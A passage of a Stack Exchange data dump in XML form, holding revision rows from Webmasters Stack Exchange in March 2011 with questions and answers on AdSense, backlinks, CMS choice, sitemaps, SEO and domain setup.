synonyms a bit.)" />
  <row Id="22712" PostHistoryTypeId="2" PostId="10183" RevisionGUID="9138b97c-49d9-4420-88cb-8730bbbbeb88" CreationDate="2011-03-07T10:11:59.183" UserId="5013" Text="Is it white space or PSAs? What &quot;website creator&quot; did you use?&#xD;&#xA;&#xD;&#xA;Possible reasons:&#xD;&#xA;&#xD;&#xA; 1. Is there any reason your AdSense account may be under review or banned?&#xD;&#xA; 2. Did you copy or paste the AdSense code correctly? &#xD;&#xA; 3. Can you even view Google ads? Do you have JavaScript enabled? Do you have some sort of ad blocker enabled?&#xD;&#xA; 4. You are allowed a max of three AdSense ads units per page, might you have more?&#xD;&#xA; 5. Is your website suitable for AdSense ads? I had an article on Nude Beaches that would not show Google ads because the word &quot;nude&quot; is not allowed. &#xD;&#xA;&#xD;&#xA;You may want to see if Google can see content on your site. Add Google webmaster tools to your site to see if there are any crawl errors.&#xD;&#xA;[How your site looks to Google][1]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=google+bot+site+view" />
  <row Id="22713" PostHistoryTypeId="5" PostId="10125" RevisionGUID="eeb9531e-62c9-4626-8ca3-cbff488cb064" CreationDate="2011-03-07T10:19:57.860" UserId="5013" Comment="Grammar, spelling" Text="My Adsense Ads aren't showing up. I have embedded the HTML into my website and placed it accordingly, but nothing shows up on the page.&#xD;&#xA;&#xD;&#xA;It has been like this for two days now. Would this have something to do with my website creator?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Zutroy&#xD;&#xA;" />
  <row Id="22714" PostHistoryTypeId="4" PostId="10125" RevisionGUID="eeb9531e-62c9-4626-8ca3-cbff488cb064" CreationDate="2011-03-07T10:19:57.860" UserId="5013" Comment="Grammar, spelling" Text="Adsense Ads Not Showing Up" />
  <row Id="22715" PostHistoryTypeId="24" PostId="10125" RevisionGUID="eeb9531e-62c9-4626-8ca3-cbff488cb064" CreationDate="2011-03-07T10:19:57.860" Comment="Proposed by 5013 approved by 3 edit id of 47" />
  <row Id="22716" PostHistoryTypeId="5" PostId="10092" RevisionGUID="f70aac0f-1eea-46fc-9203-37629e88cf16" CreationDate="2011-03-07T10:19:59.623" UserId="5013" Comment="Grammar, spelling, formatting" Text="We have a website and want it to be more up-to-date. So far, we've made the site compatible with mobile devices and created a FaceBook page for it. What are some other things we can do for our site to make it more up-to-date?" />
  <row Id="22717" PostHistoryTypeId="4" PostId="10092" RevisionGUID="f70aac0f-1eea-46fc-9203-37629e88cf16" CreationDate="2011-03-07T10:19:59.623" UserId="5013" Comment="Grammar, spelling, formatting" Text="Making a Site More &quot;Up-to-Date&quot; - Ideas?" />
  <row Id="22718" PostHistoryTypeId="6" PostId="10092" RevisionGUID="f70aac0f-1eea-46fc-9203-37629e88cf16" CreationDate="2011-03-07T10:19:59.623" UserId="5013" Comment="Grammar, spelling, formatting" Text="&lt;web-development&gt;&lt;marketing&gt;&lt;sites&gt;" />
  <row Id="22719" PostHistoryTypeId="24" PostId="10092" RevisionGUID="f70aac0f-1eea-46fc-9203-37629e88cf16" CreationDate="2011-03-07T10:19:59.623" Comment="Proposed by 5013 approved by 3 edit id of 48" />
  <row Id="22720" PostHistoryTypeId="2" PostId="10184" RevisionGUID="ba1ffc46-8ac2-46ff-bcb9-1b8a345e4aba" CreationDate="2011-03-07T10:28:09.117" UserId="5013" Text="Probably the best way to get backlinks is to have quality content on your site that is not only worth reading, but worth searching for. For example, lets say I am helping a friend on a forum with a problem they are having with their iPhone or something. If I am searching for the problem and come across YOUR site and what you offer helps me out, I will put a link on the forum post to your site... telling my friend &quot;Hey, here's where you can find the solution.&quot; These are the backlinks you want. You can create them yourself, if you want, but nothing is as good as producing content that is thought-provoking or helpful, because it earns its own backlinks.&#xD;&#xA;&#xD;&#xA;My strongest content is my most well-written content. Google loves well-written content and so do readers... and readers WILL link out to good content.&#xD;&#xA;&#xD;&#xA;One personal example is an article I'd written that was just a little complaint about how I thought &quot;something&quot; was unfair. Other people thought &quot;something&quot; was unfair and made searches on it. They came across my post and thought it was interesting and linked to it on FaceBook, twitter, on their blogs. They made comments on blogs linking to my post and on forums, too. My article became very popular and later the Wall Street Journal did an article on the thing I thought was unfair, interviewed me, and mentioned me in their article. It did me really well. Just because it was what people thought was thought-provoking.&#xD;&#xA;&#xD;&#xA;So write great content and you will be surprised what comes your way. If you put all your effort in your content and none in backlinks, I think you can do really well. That doesn't completely rule out SEO, though. Make sure your site is search engine friendly, too. Then, you're good to go." />
  <row Id="22721" PostHistoryTypeId="5" PostId="8744" RevisionGUID="c628369a-181b-442b-a126-e4cbaeb9410b" CreationDate="2011-03-07T10:29:59.257" UserId="5013" Comment="Grammar" Text="What are some good places to advertise my websites for free?&#xD;&#xA;&#xD;&#xA;I've already submitted them to Google, Yahoo!, and Bing.&#xD;&#xA;&#xD;&#xA;Now, I am looking for some places I can create legitimate backlinks.&#xD;&#xA;&#xD;&#xA;Does anyone have any ideas?" />
  <row Id="22722" PostHistoryTypeId="4" PostId="8744" RevisionGUID="c628369a-181b-442b-a126-e4cbaeb9410b" CreationDate="2011-03-07T10:29:59.257" UserId="5013" Comment="Grammar" Text="Free Website Marketing &amp; Backlinks?" />
  <row Id="22723" PostHistoryTypeId="6" PostId="8744" RevisionGUID="c628369a-181b-442b-a126-e4cbaeb9410b" CreationDate="2011-03-07T10:29:59.257" UserId="5013" Comment="Grammar" Text="&lt;seo&gt;&lt;advertising&gt;&lt;marketing&gt;&lt;backlinks&gt;" />
  <row Id="22724" PostHistoryTypeId="2" PostId="10185" RevisionGUID="be9f0def-a918-4ffa-b420-5f7367c569b1" CreationDate="2011-03-07T10:30:44.870" UserId="3461" Text="You say you cannot do redirects. A 301 redirect in the domain company would be the best, (so, having the domain apart from the hosting would have been best here) as you would pass the seo juice to the new location. You say you can't do that, so I guess the old hosting holds the domain too.&#xD;&#xA;&#xD;&#xA;If you can &quot;remove&quot; them, but have no access to site A, can you set up on each article title entry (seems that at least you have control over a toc, or summary of articles? (because you can remove them somehow)) a php redirect or something ? So it does not give a 404, but redirects to each new location. (so, no harm done in seo)" />
  <row Id="22725" PostHistoryTypeId="2" PostId="10186" RevisionGUID="a0231334-e3c6-46fa-8a9f-40a5284a54aa" CreationDate="2011-03-07T10:36:51.743" UserId="5659" Text="If you want to save that yourself, then you will need a small script which will save things on user input in your database. If you want you can use 3rd party service like feedburner or mailchimp (but these will require the user to click a link in an email to verify their subscription." />
  <row Id="22726" PostHistoryTypeId="2" PostId="10187" RevisionGUID="fd48887e-f802-4a8a-95b8-37e293acdc05" CreationDate="2011-03-07T10:43:14.573" UserId="5013" Text="I am in the planning process of a website that will have a blog (as well as other pages which will be static), a login area (so that registered users can access private content), a shopping cart, and possibly later on a forum.&#xD;&#xA;&#xD;&#xA;What would be the best CMS to use for all of this?" />
  <row Id="22727" PostHistoryTypeId="1" PostId="10187" RevisionGUID="fd48887e-f802-4a8a-95b8-37e293acdc05" CreationDate="2011-03-07T10:43:14.573" UserId="5013" Text="CMS for a site with blog, login, shopping cart, etc" />
  <row Id="22728" PostHistoryTypeId="3" PostId="10187" RevisionGUID="fd48887e-f802-4a8a-95b8-37e293acdc05" CreationDate="2011-03-07T10:43:14.573" UserId="5013" Text="&lt;cms&gt;" />
  <row Id="22730" PostHistoryTypeId="2" PostId="10189" RevisionGUID="8d854557-50f9-4e7a-98c0-5340c5b18e68" CreationDate="2011-03-07T10:55:28.817" UserId="5739" Text="What is your target audience?&#xD;&#xA;&#xD;&#xA;If it is a younger audience then tying in with the latest &quot;yoof&quot; trends could work. Or what about a twitter feed? There are quite a few nice JQuery feeds that integrate nicely into a site giving it a nice fresh feel.&#xD;&#xA;&#xD;&#xA;Up to date and current content always works. Nothing makes a site look staler than out of date old content.&#xD;&#xA;&#xD;&#xA;How about running some competitions, user polls (interaction) etc. &#xD;&#xA;&#xD;&#xA;Again as lainie says, without knowing any details about your site it is very hard to help..." />
  <row Id="22731" PostHistoryTypeId="2" PostId="10190" RevisionGUID="0b79930b-132f-4aec-be4a-825e6b492f99" CreationDate="2011-03-07T11:11:28.923" UserId="5013" Text="I don't know about your registrar, but I know that GoDaddy offers private registration. What happens is that it's the address of the company that handles your private registry. When correspondence is sent to you, it's sent to the company and they forward it to you (so only THEY know your info.)&#xD;&#xA;It works the same for email, too. So, for example, if a person wanted to contact you, they would see your email address on the whois is something like&#xD;&#xA;qwertyhouiefhiw73298@privateregistrycompany.com.&#xD;&#xA;The email is sent to that address and then when that address receives the email, the email is then forwarded to your account. Nifty, eh?&#xD;&#xA;&#xD;&#xA;Sad part is that I found all that out by trying to contact a guy who had stolen content from my website. :(" />
  <row Id="22732" PostHistoryTypeId="17" PostId="10192" RevisionGUID="3677580c-46af-49be-b9e3-f9b74bb6e8a8" CreationDate="2011-03-07T11:19:05.563" UserId="-1" Comment="from http://stackoverflow.com/questions/5218246/why-some-websites-changes-their-short-and-user-friendly-url-to-long-url/5218286#5218286" Text="" />
  <row Id="22733" PostHistoryTypeId="17" PostId="10193" RevisionGUID="9cc774f9-4147-47dd-877c-376ca213e50f" CreationDate="2011-03-07T11:19:05.563" UserId="-1" Comment="from http://stackoverflow.com/questions/5218246/why-some-websites-changes-their-short-and-user-friendly-url-to-long-url/5218288#5218288" Text="" />
  <row Id="22734" PostHistoryTypeId="2" PostId="10192" RevisionGUID="4ffa4a8c-1ac5-408f-ab9b-e9765cd1be74" CreationDate="2011-03-07T10:06:14.587" UserId="3179" Text="The most obvious reason is search engine optimisation. If your website can be access from more than one URL, then there's a major hole in your SEO.&#xD;&#xA;&#xD;&#xA;The alternative URLs will/should 304 redirect to the original domain. The domain that the companies use as their &quot;primary&quot; domain will be down to where the content and assets are stored, such as images and stylesheets, that may be loaded in with relative paths." />
  <row Id="22735" PostHistoryTypeId="2" PostId="10193" RevisionGUID="ef371cdc-9414-46e4-8256-c1bdddd5d980" CreationDate="2011-03-07T10:06:37.740" UserId="1583" Text="In these instances the reasons are branding and for SEO.&#xD;&#xA;&#xD;&#xA;Crininfo in now part of the growing ESPN sporting network, like Soccernet is - ESPN like to see their branding extending throughout their estate.  cricinfo.com still works though.&#xD;&#xA;&#xD;&#xA;In the second case I think that branding was a secondary consideration behind the need to get better natural search engine rankings for the expression 'Bollywood' - domains that contain a search term get a natural boost in all search engine algorithms (this is demonstrable by testing the theory, the actual algorithms are usually secret).&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;bollywoodhungama.com is #4 in a Google search for 'Bollywood' - a search with hundreds of millions of choices, so the site is clearly optimised for 'Bollywood' which strengthens SEO as the most likely primary reason for the change." />
  <row Id="22736" PostHistoryTypeId="2" PostId="10191" RevisionGUID="8cd26e0a-fe05-4a25-a8e8-4b286fea95c0" CreationDate="2011-03-07T10:02:25.667" UserId="3700" Text="i wonder why some website changes their short and user friendly url to long url like&#xD;&#xA;&#xD;&#xA;&gt; cricinfo.com ----&gt; espncricinfo.com&#xD;&#xA;&#xD;&#xA;&gt; indiafm.com ---&gt; bollywoodhungama.com&#xD;&#xA;&#xD;&#xA;and many others i have seen  &#xD;&#xA;&#xD;&#xA;i just want to know that **what is the exact need of doing that**??&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;is there economical reason or what??i think user dont like to write long website name&#xD;&#xA;still i also type `indiafm.com` and browser automatically redirect the URL.&#xD;&#xA;&#xD;&#xA;(sorry if tags are wrong)&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22737" PostHistoryTypeId="1" PostId="10191" RevisionGUID="8cd26e0a-fe05-4a25-a8e8-4b286fea95c0" CreationDate="2011-03-07T10:02:25.667" UserId="3700" Text="why some websites changes their short and user friendly URL to long URL?" />
  <row Id="22738" PostHistoryTypeId="3" PostId="10191" RevisionGUID="8cd26e0a-fe05-4a25-a8e8-4b286fea95c0" CreationDate="2011-03-07T10:02:25.667" UserId="3700" Text="&lt;url&gt;&lt;web&gt;&lt;seo&gt;&lt;branding&gt;&lt;sem&gt;" />
  <row Id="22739" PostHistoryTypeId="17" PostId="10191" RevisionGUID="81a78c21-ad23-4491-bf06-deb32d7144dc" CreationDate="2011-03-07T11:19:05.563" UserId="-1" Comment="from http://stackoverflow.com/questions/5218246/why-some-websites-changes-their-short-and-user-friendly-url-to-long-url" Text="" />
  <row Id="22740" PostHistoryTypeId="25" PostId="10191" RevisionGUID="e92fff7c-58be-434b-9e37-d1c940deb394" CreationDate="2011-03-07T11:23:28.487" Comment="http://twitter.com/#!/StackWebmasters/status/44719811422453760" />
  <row Id="22741" PostHistoryTypeId="2" PostId="10194" RevisionGUID="0d58aebb-91ce-426c-a75e-c4b2c43adf34" CreationDate="2011-03-07T11:28:51.233" UserId="5727" Text="If I want to make an XML sitemap for my site, do I need to map every forum topic in my forum as a separate URL?&#xD;&#xA;&#xD;&#xA;If this would help, how do you deal with the hugeness of the sitemap for forums with over 100,000 urls?&#xD;&#xA;&#xD;&#xA;Or is it just meant to map entry pages to the rest of your content?  And can you semantically nest URLS?" />
  <row Id="22742" PostHistoryTypeId="1" PostId="10194" RevisionGUID="0d58aebb-91ce-426c-a75e-c4b2c43adf34" CreationDate="2011-03-07T11:28:51.233" UserId="5727" Text="XML Sitemaps, what should they link to?" />
  <row Id="22743" PostHistoryTypeId="3" PostId="10194" RevisionGUID="0d58aebb-91ce-426c-a75e-c4b2c43adf34" CreationDate="2011-03-07T11:28:51.233" UserId="5727" Text="&lt;sitemap&gt;" />
  <row Id="22747" PostHistoryTypeId="2" PostId="10196" RevisionGUID="d4a97a11-4485-4c32-a27a-395a4064872c" CreationDate="2011-03-07T11:34:18.007" UserId="3461" Text="My favourite is [Drupal][1], technically speaking (some say Joomla! is easier). You can add to it modules like [e-commerce][2] , or [Ubercart][3] (maybe the best). And to make it easy the install, or install it as well in the cloud, or in a vmware for testing or other purposes, I'd grab the free [Bitnami Drupal][4] installer.&#xD;&#xA;&#xD;&#xA;I think it covers all which you mention (and much more, as counts on tons of free available modules). Is more web coder friendly, and clean than other CMSs around. And is nice for seo.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org&#xD;&#xA;  [2]: http://drupal.org/project/ecommerce&#xD;&#xA;  [3]: http://www.ubercart.org/&#xD;&#xA;  [4]: http://bitnami.org/stack/drupal" />
  <row Id="22748" PostHistoryTypeId="2" PostId="10197" RevisionGUID="1d59bdc7-eaa9-4aae-9663-37175cd6565c" CreationDate="2011-03-07T11:34:54.387" UserId="5739" Text="I can't hep you with specific answers as my current reseller is Linux and uses CPanel/WHMCS (love it)and my previous one, which, while was running on Windows, used Helm which is out of date and lacks in features.&#xD;&#xA;&#xD;&#xA;What I would suggest is visiting [WebHostingTalk][1] as there is a whole section on there dedicated to resellers and you should be able to either find the info you need via a search or if you post a question you will very rapidly get a lot of feedback and certain names will &quot;float to the top&quot; helping you make your decision.&#xD;&#xA;&#xD;&#xA;Good luck.&#xD;&#xA;&#xD;&#xA;[Direct link to the Reseller section][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webhostingtalk.com/&#xD;&#xA;  [2]: http://www.webhostingtalk.com/forumdisplay.php?s=fa18c2bfba2e126e7e8d7068b45b6c6c&amp;f=3" />
  <row Id="22749" PostHistoryTypeId="2" PostId="10198" RevisionGUID="449198ec-8356-439d-93a7-16856d244fbd" CreationDate="2011-03-07T11:44:02.003" UserId="5895" Text="Sign up for google webmaster tools:&#xD;&#xA;&#xD;&#xA;http://www.google.com/webmasters/tools&#xD;&#xA;&#xD;&#xA;And submit your site map.&#xD;&#xA;&#xD;&#xA;This will definitely increase your hits." />
  <row Id="22750" PostHistoryTypeId="2" PostId="10199" RevisionGUID="7ace46d3-9dea-4593-88b4-68235982b9c6" CreationDate="2011-03-07T11:45:29.443" UserId="3659" Text="If you want to make a proper sitemap that gets automatically updated please use http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156184&amp;from=40318&amp;rd=1 as your starting point.&#xD;&#xA;&#xD;&#xA;Google offers the possibility to automatically create a sitemap and update this based on the page visits. You will have to read the instructies carefully.&#xD;&#xA;&#xD;&#xA;If this is not what you are looking for you might wat to consider creating a XML sitemap using an online tool, such as: xml-sitemaps.com&#xD;&#xA;&#xD;&#xA;The idea of a sitemap is to have this point to all pages. You can, however point out the importance of each page using the priority tag.&#xD;&#xA;&#xD;&#xA;Please note that a XML sitemap is for you to submit to the search engines and and HTML sitemap is to be viewed by your website visitors. Its recommended to have not more than 100 links per page." />
  <row Id="22751" PostHistoryTypeId="17" PostId="10201" RevisionGUID="624225e8-c4ba-41f3-a731-d81315effaaa" CreationDate="2011-03-07T12:27:10.430" UserId="-1" Comment="from http://stackoverflow.com/questions/5217325/jsf-glassfish-host/5217536#5217536" Text="" />
  <row Id="22752" PostHistoryTypeId="2" PostId="10201" RevisionGUID="a43e6fbb-22f6-4681-ad1a-1d0413eb6ec9" CreationDate="2011-03-07T08:43:50.383" UserDisplayName="Nishant" Text="&lt;h1&gt;No&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;There isn't a free Java hosting available. There are others like [GAE][1] or [AWS][2] that give services for reasonable price and no string attached.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/appengine/&#xD;&#xA;  [2]: http://aws.amazon.com/" />
  <row Id="22753" PostHistoryTypeId="2" PostId="10200" RevisionGUID="636c92bc-572d-4536-8423-495765f71a1b" CreationDate="2011-03-07T08:14:25.383" UserDisplayName="ehsun7b" Text="Is there any Glassfish and JSF 2.0 hosting for free or reaonable prices? I mean something which is good for personal projects." />
  <row Id="22754" PostHistoryTypeId="1" PostId="10200" RevisionGUID="636c92bc-572d-4536-8423-495765f71a1b" CreationDate="2011-03-07T08:14:25.383" UserDisplayName="ehsun7b" Text="JSF Glassfish host" />
  <row Id="22755" PostHistoryTypeId="3" PostId="10200" RevisionGUID="636c92bc-572d-4536-8423-495765f71a1b" CreationDate="2011-03-07T08:14:25.383" UserDisplayName="ehsun7b" Text="&lt;web-hosting&gt;" />
  <row Id="22756" PostHistoryTypeId="17" PostId="10200" RevisionGUID="f3804ab0-2a94-48a0-8646-72eaa864ebe0" CreationDate="2011-03-07T12:27:10.430" UserId="-1" Comment="from http://stackoverflow.com/questions/5217325/jsf-glassfish-host" Text="" />
  <row Id="22757" PostHistoryTypeId="2" PostId="10202" RevisionGUID="dec3160c-6777-4298-9642-2958c458e8e9" CreationDate="2011-03-07T03:13:42.023" UserDisplayName="KMC" Text="I have a site created by Ruby on Rails.  I had verified against Google Webmaster Tool some months ago, which was successful.  One day webmaster starts giving me Re-verification fails.  I tried again to verify my site using Meta tags and HTML files.  But I kept having &#xD;&#xA;&#xD;&#xA;&quot;Verification failed.  The connection to your server timed out.&quot;&#xD;&#xA;&#xD;&#xA;Since then, Google stop crawling my site's content - though, somehow google still crawl my PDF contents on my site. " />
  <row Id="22758" PostHistoryTypeId="1" PostId="10202" RevisionGUID="dec3160c-6777-4298-9642-2958c458e8e9" CreationDate="2011-03-07T03:13:42.023" UserDisplayName="KMC" Text="Google webmaster Verification failed." />
  <row Id="22759" PostHistoryTypeId="3" PostId="10202" RevisionGUID="dec3160c-6777-4298-9642-2958c458e8e9" CreationDate="2011-03-07T03:13:42.023" UserDisplayName="KMC" Text="&lt;ruby-on-rails&gt;&lt;web&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="22760" PostHistoryTypeId="17" PostId="10202" RevisionGUID="809f8598-c21a-45cb-b677-be9348e11dca" CreationDate="2011-03-07T12:29:22.317" UserId="-1" Comment="from http://stackoverflow.com/questions/5215443/google-webmaster-verification-failed" Text="" />
  <row Id="22761" PostHistoryTypeId="17" PostId="10204" RevisionGUID="a7e67ecf-43c8-4043-9355-4af41d859fb7" CreationDate="2011-03-07T12:39:23.093" UserId="-1" Comment="from http://stackoverflow.com/questions/5217835/does-rotating-text-get-picked-up-for-seo/5217880#5217880" Text="" />
  <row Id="22762" PostHistoryTypeId="17" PostId="10205" RevisionGUID="1723e9a2-f66f-49c3-906a-5975335927d1" CreationDate="2011-03-07T12:39:23.093" UserId="-1" Comment="from http://stackoverflow.com/questions/5217835/does-rotating-text-get-picked-up-for-seo/5217886#5217886" Text="" />
  <row Id="22763" PostHistoryTypeId="2" PostId="10204" RevisionGUID="9dfce4c2-6bc5-4615-97b1-270ad73915cd" CreationDate="2011-03-07T09:24:25.230" UserId="3179" Text="If the internal markup of any website is schematically produced, no matter what advanced animation techniques are added, the website will make sense to search engines.&#xD;&#xA;&#xD;&#xA;However, if the animation generates the text on-the-fly or is loaded in not as a part of the internal markup, search engines may not be able to see it." />
  <row Id="22764" PostHistoryTypeId="2" PostId="10205" RevisionGUID="43f16bfd-de91-4f98-92ba-a4c25e59a2ab" CreationDate="2011-03-07T09:25:03.217" UserDisplayName="TNC" Text="If depends on how you're rotating your text.  Generally speaking, search engines don't pick up content that has a property of `display: none` (in a good way); also, if you're using JavaScript to add the content to the page, this will also not get picked up.&#xD;&#xA;&#xD;&#xA;If the content is visible, just maybe off-screen or behind a layer(s) it will get picked up, and not be viewed as &quot;bad&quot; content.  &#xD;&#xA;&#xD;&#xA;In terms of relevancy, yes it's relevant.&#xD;&#xA;&#xD;&#xA;You can read more about hidden text, etc.. here:  http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=66353 " />
  <row Id="22765" PostHistoryTypeId="2" PostId="10203" RevisionGUID="6642d3e3-db7c-48e1-85b8-b6f64c3db78d" CreationDate="2011-03-07T09:18:54.233" UserDisplayName="Daniel" Text="Does rotating text like on apple.com's homepage get picked up in spiders for search engines? Is rotating text relavent in SEO?" />
  <row Id="22766" PostHistoryTypeId="1" PostId="10203" RevisionGUID="6642d3e3-db7c-48e1-85b8-b6f64c3db78d" CreationDate="2011-03-07T09:18:54.233" UserDisplayName="Daniel" Text="Does rotating text get picked up for SEO?" />
  <row Id="22767" PostHistoryTypeId="3" PostId="10203" RevisionGUID="6642d3e3-db7c-48e1-85b8-b6f64c3db78d" CreationDate="2011-03-07T09:18:54.233" UserDisplayName="Daniel" Text="&lt;html&gt;&lt;seo&gt;" />
  <row Id="22768" PostHistoryTypeId="17" PostId="10203" RevisionGUID="1acb5eed-7691-4d99-aa8f-12c13e141945" CreationDate="2011-03-07T12:39:23.093" UserId="-1" Comment="from http://stackoverflow.com/questions/5217835/does-rotating-text-get-picked-up-for-seo" Text="" />
  <row Id="22769" PostHistoryTypeId="2" PostId="10206" RevisionGUID="ad680226-164c-43e5-8d7a-f927b80881b5" CreationDate="2011-03-07T05:06:55.393" UserDisplayName="Gaurav Gupta" Text="Facebook's recently launched commenting system for blogs loads comments in an iframe, instead of loading them inline. Since blog comments can often contribute significantly to the page's SEO, is it a good idea to use Facebook's system on my blog?&#xD;&#xA;&#xD;&#xA;Or, does Google recognize iframe content as a part of the page and treats it as such?&#xD;&#xA;&#xD;&#xA;(It's noteworthy that Disqus.com does not use iframes and loads all comments inline)" />
  <row Id="22770" PostHistoryTypeId="1" PostId="10206" RevisionGUID="ad680226-164c-43e5-8d7a-f927b80881b5" CreationDate="2011-03-07T05:06:55.393" UserDisplayName="Gaurav Gupta" Text="Facebook Comments and page SEO" />
  <row Id="22771" PostHistoryTypeId="3" PostId="10206" RevisionGUID="ad680226-164c-43e5-8d7a-f927b80881b5" CreationDate="2011-03-07T05:06:55.393" UserDisplayName="Gaurav Gupta" Text="&lt;facebook&gt;&lt;seo&gt;&lt;comments&gt;&lt;blog&gt;" />
  <row Id="22772" PostHistoryTypeId="17" PostId="10206" RevisionGUID="38a54f52-3045-4d9b-9a7c-d0b6a8692f47" CreationDate="2011-03-07T12:44:41.873" UserId="-1" Comment="from http://stackoverflow.com/questions/5216038/facebook-comments-and-page-seo" Text="" />
  <row Id="22773" PostHistoryTypeId="5" PostId="10177" RevisionGUID="f4426c16-256e-49eb-b620-944086aaeb8a" CreationDate="2011-03-07T12:48:06.563" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Are there any specific tips and tricks for optimizing a website for Bing?](http://webmasters.stackexchange.com/questions/3763/are-there-any-specific-tips-and-tricks-for-optimizing-a-website-for-bing)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;i have three games sites,which are all have the much better alexa around 12.000&#xD;&#xA;i wanna know that if i wanna to get more traffice from bing,how to do the seo tips?is it the same with the seo in google?!thank you so much" />
  <row Id="22774" PostHistoryTypeId="10" PostId="10177" RevisionGUID="7ae3928e-e695-4f49-b09e-290829bcc557" CreationDate="2011-03-07T12:48:06.437" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22778" PostHistoryTypeId="5" PostId="10176" RevisionGUID="b406bda9-17e5-4d50-ba87-8d7b2e4c24c7" CreationDate="2011-03-07T12:55:25.980" UserId="1253" Comment="Removed signature and link" Text="Backlink is link that you received from other websites. And back links are important to for PR. This tools searches for websites of the theme you specify that contain keyphrases like &quot;Add link&quot;, &quot;Add site&quot;, &quot;Add URL&quot;, &quot;Add URL&quot;, &quot;Submit URL&quot;, &quot;Add Article&quot; etc. Most of the results could be quality potential backlinks.&#xD;&#xA;" />
  <row Id="22779" PostHistoryTypeId="2" PostId="10207" RevisionGUID="af01b282-8ee5-43b3-91af-3569474b8b98" CreationDate="2011-03-07T13:02:59.733" UserId="1253" Text="Frames are not search engine friendly especially when loaded by JavaScript which is also not search engine friendly. So I'd say, no, this system is not going to benefit you from a SEO point of view. &#xD;&#xA;&#xD;&#xA;FYI, comments don't really help your SEO unless the comments are quality comments that are on topic and uses keywords you want to rank well for. Otherwise the comments in and of themselves have no SEO value." />
  <row Id="22780" PostHistoryTypeId="2" PostId="10208" RevisionGUID="5c6dc83c-31a7-48f5-98eb-f469ea54e74d" CreationDate="2011-03-07T13:15:55.417" UserId="3282" Text="I have noticed that several people find my website by searching for a completely unrelated term. This has to do with the fact that I have registered the company on Google Places with the keyword/category &quot;webb-hotell&quot;, which in Swedish means web-hosting. If you are Swedish you may suggest using &quot;webbhotell&quot; instead. But the thing is that Google doesn't consider that a category, thus I get no rank at all for that keyword.&#xD;&#xA;&#xD;&#xA;It seems like I'm getting hits from people searching hotels in my area. If I type &quot;hotel [my location]&quot; I get a really high rank. It's not like I want people to end up on my site if they want a hotel, but it's Google's fault. My question is: What can I do about it?&#xD;&#xA;&#xD;&#xA;P.S: Can someone create the tag &quot;google-places&quot; for me?" />
  <row Id="22781" PostHistoryTypeId="1" PostId="10208" RevisionGUID="5c6dc83c-31a7-48f5-98eb-f469ea54e74d" CreationDate="2011-03-07T13:15:55.417" UserId="3282" Text="Google Places good rank on wrong keyword/category" />
  <row Id="22782" PostHistoryTypeId="3" PostId="10208" RevisionGUID="5c6dc83c-31a7-48f5-98eb-f469ea54e74d" CreationDate="2011-03-07T13:15:55.417" UserId="3282" Text="&lt;google&gt;" />
  <row Id="22783" PostHistoryTypeId="6" PostId="10208" RevisionGUID="b6839f34-39c4-4fea-aa6d-2583275f8fe2" CreationDate="2011-03-07T13:55:30.280" UserId="221" Comment="edited tags" Text="&lt;google&gt;&lt;google-places&gt;" />
  <row Id="22784" PostHistoryTypeId="5" PostId="10180" RevisionGUID="6133e768-9a75-4f5d-aa42-2286f0dc1302" CreationDate="2011-03-07T14:15:07.850" UserId="108" Comment="Made question more clear" Text="I have a domain, let's call it www.mydomain.com where I have a portal with an active community of users.&#xD;&#xA;&#xD;&#xA;In this portal users cooperate in a wiki way to build some &quot;kind of software&quot;.&#xD;&#xA;These software applications can then be run by accessing &quot;public.mydomain.com/softwarename&quot;&#xD;&#xA;&#xD;&#xA;I then want to let my users run these applications from their own subdomains. I know I can do that by automatically modifying the.htaccess file. This is not a problem.&#xD;&#xA;&#xD;&#xA;I want to let these users create dns aliases to let them access one specific subdomain. So if a user &quot;pippo&quot; that owns &quot;www.pippo.com&quot; wants to run software HelloWorld from his own subdomains he has to:&#xD;&#xA;&#xD;&#xA;  1. Register to my site&#xD;&#xA;  2. Create his own subdomain on his own site, run.pippo.com&#xD;&#xA;  3. From his DNS control panel, he creates a CNAME record &quot;run.pippo.com&quot; pointing to &quot;public.mydomain.com&quot;&#xD;&#xA;  4. He types in a browser http://run.pippo.com/HelloWorld&#xD;&#xA;&#xD;&#xA;When the software(that is physically run on my server) is called, first it checks that the originating domain is a trusted one. I don't do any other kind of check that restricts software execution.&#xD;&#xA;&#xD;&#xA;From a SEO perspective, I care about Google indexing of www.mydomain.com but I don't care about indexing of public.mydomain.com&#xD;&#xA;&#xD;&#xA;What are the possible security implications of doing this for my site?&#xD;&#xA;&#xD;&#xA;Is there a better way to do this or software that already does this that I can use?" />
  <row Id="22787" PostHistoryTypeId="25" PostId="10208" RevisionGUID="02bdb0b6-882a-433f-be09-7f0d52f5d3cb" CreationDate="2011-03-07T14:23:28.497" Comment="http://twitter.com/#!/StackWebmasters/status/44765110480285696" />
  <row Id="22788" PostHistoryTypeId="2" PostId="10210" RevisionGUID="d7c5227d-bba8-41c4-9263-70ef8b878fa4" CreationDate="2011-03-07T14:27:40.830" UserId="5849" Text="I'm not sure there is anything you can do about your actual ranking for hotel, but one thing is to make sure that your title tage and meta-description is clear about what your company does. Since Google uses these as the text for your rankings, this lets users searching for hotel know that you are not a hotel. &#xD;&#xA;&#xD;&#xA;Otherwise, focus on getting your site ranked well in your actual keywords and then hopefully that will overshadow random traffic from the wrong keyword. &#xD;&#xA;&#xD;&#xA;I have a similar situation on my site since my company name contains a keyword for a completely different niche. " />
